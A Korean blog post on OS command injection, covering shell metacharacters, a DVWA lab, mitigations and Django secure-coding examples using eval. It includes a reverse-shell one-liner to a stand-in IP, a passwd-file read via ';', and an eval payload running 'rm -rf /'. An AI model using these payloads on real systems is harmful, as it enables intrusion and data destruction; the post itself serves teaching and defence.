취약점 개요(CWE-94, 95)

OS Command를 실행하는 기능이 있으면 이를 악용하여 공격자가 원하는 명령을 수행하는 공격이다.

 

위 두 개 차이를 보면

처음에는 ls 로 LFImap 디렉토리에 있는 목록을 조회하고

 

두번째는 grep 으로 README 로 시작하는 파일만 추려서 출력한다.

 

이는 Shell Metacharacter 를 이용한 것인데, 명령어를 연속으로 실행하거나, 두 개의 명령어를 엮어서 사용하는데 사용한다.

 

https://mug896.github.io/bash-shell/metacharacters.html

 

Shell Metacharacters | Introduction

Shell script 에서는 프로그래밍 언어에서처럼 여러가지 연산자를 제공하지 않습니다. 가령 산술연산을 위해서는 별도로 제공되는 산술확장 이나 명령 을 이용하거나 외부 명령을 사용합니다. 하

mug896.github.io

 

 

여기에 쉘 메타캐릭터가 잘 정리되어 있으니, 참고하도록 하고 && || ; 까지만 이해하면 된다.

 

본론으로 돌아가서, "ls LFImap | grep README" 를 해석하면 다음과 같다.

1. ls LFImap 으로 리스트 출력 -> 출력 값: LFImap.txt, README.md, LFImap.py 등 여러개 출력

2. 출력값을  grep 명령어 입력값으로 준 후 README 로 시작하는 것만 출력

 

그리고 ";" 를 사용하게 되면 앞에 연산을 수행하고, 뒤에 연산도 수행을 하는 결과가 나오게 된다.

 

위를 보면 ls LFImap 하고, cat 으로 testss.log를 출력했다. 이 두개는 별개의 명령어지만 한 줄에 같이 실행이 가능하다.

 

Python의 eval, exec 함수는 운영체제 명령을 수행한다. 따라서 여기에 쉘 메타캐릭터를 이용해 연속된 명령을 수행하는 입력 값 삽입 시 공격자가 원하는 코드 실행 즉 RCE(Remote Code Execution)이 가능하다.

공격 방법

웹에 있는 기능 중에 사용자의 요청을 받아서 OS Command를 실행하는 기능이 있다고 가정하자.

 

우리는 이를 가지고 Command Injection을 시도할 수 있다.(아래 사진은 DVWA 를 이용한 공격 실습이다.)

 

 

위를 보면 ping을 받아서 그 결과를 내어준다.

 

 

; 를 이용해서 이렇게 passwd 파일을 가져올 수있다.

 

동일한 방법으로 bash -i >& /dev/tcp/10.10.10.10/4242 0>&1 이런 명령어를 실행해 Reverse shell 도 가져올 수 있다.

 

https://github.com/payloadbox/command-injection-payload-list

 

GitHub - payloadbox/command-injection-payload-list: 🎯 Command Injection Payload List

🎯 Command Injection Payload List. Contribute to payloadbox/command-injection-payload-list development by creating an account on GitHub.

github.com

 

Command Injection 관련된 페이로드는 위 글에 있으니, 참고하길 바란다.

예상 피해

 

 

 

보안대책

1. 가장 좋은건 OS Command 실행이 가능한 기능을 구현하지 않는 것이다.

 

2. 만일 구현을 해야한다고 하면, 특수문자는 모두 이스케이프 처리한다.

 

3. 화이트 리스트 논리를 코드에 넣어서 IP의 경우 0-9 까지의 값만 즉 숫자만 입력할 수 있도록 한다.

 

시큐어 코딩(파이썬)

안전하지 않은 코드

from django.shortcuts import render

def route(request):
  message = request.POST.get('message', '')
  ret = eval(message)

return render(request, '/success.html', {'data':ret})

 

클라이언트로부터 message를 받고 이를 eval 함수로 실행하여 리턴 값으로 준다

 

eval 함수란?

파이썬 코드를 해당 함수 내에서 실행하는 기능을 가지고 있다. 즉 파이썬 함수 내 파이썬 코드를 실행한다.

eval("3 + 2 + 4") 라고 했을 때 결과 값은 9이다. 이 때 사용자 입력 값은 "3 + 2 + 4" 이 된다.

 

이 함수를 악용할 수 있다.

"__import__('os').system('rm -rf /')" 값을 입력했을 때 os 모듈로 시스템 단위의 명령이 실행되며, 실행 명령은 rm -rf / 이다. 

 

안전한 코드

from django.shortcuts import render

def route(request):
  message = request.POST.get('message', '')
  if message.isalnum():
    ret = eval(message)
    return render(request, '/success.html', {'data':ret})

return render(request, '/error.html')

 

if 문에 isalnum 일 시 실행하도록 되어 있다. isalnum는 알파벳, 넘버만 허용한다. 즉 특수문자 사용이 불가하니 악의적 명령 실행이 불가하다. 본론적으로 문제가 되는 건 특수문자이다. 이를 필터링 하는 기능 추가가 1순위이며,

2순위는 사용자 입력값들 중 패턴을 정의해서 이를 벗어나지 못하게 하는 것이다. re.compile 를 이용해 이를 구현할 수 있다. 

 

취약한 함수 리스트

Functions Description
eval() 표현식 실행 가능 (RCE 가능)
exec() 전체 Python 코드 실행 가능
compile() 문자열을 코드로 변환 가능
os.system() 시스템 명령 실행 가능
subprocess.Popen(shell=True) Shell Injection 가능
pickle.loads() 악성 객체 실행 가능
marshal.loads() 바이트코드 실행 가능
input() + eval() 직접 코드 실행 가능
ctypes.CDLL() 시스템 라이브러리 호출 가능
execfile() (Python 2) 외부 파일 실행 가능

 

참고문헌

1. KISA 주요정보통신기반시설 기술적 취약점 분석 평가 방법 상세가이드

2. KISA Python_시큐어코딩_가이드(2023년_개정본)

'주요통신기반시설 취약점 가이드 > 주통기 웹' 카테고리의 다른 글

경로 추적(Path Traversal)  (0) 2025.03.18
관리자 페이지 노출  (0) 2025.02.20
LDAP Injection  (0) 2025.02.19
Buffer Overflow  (0) 2025.02.19
SQL Injection  (0) 2025.02.11

+ Recent posts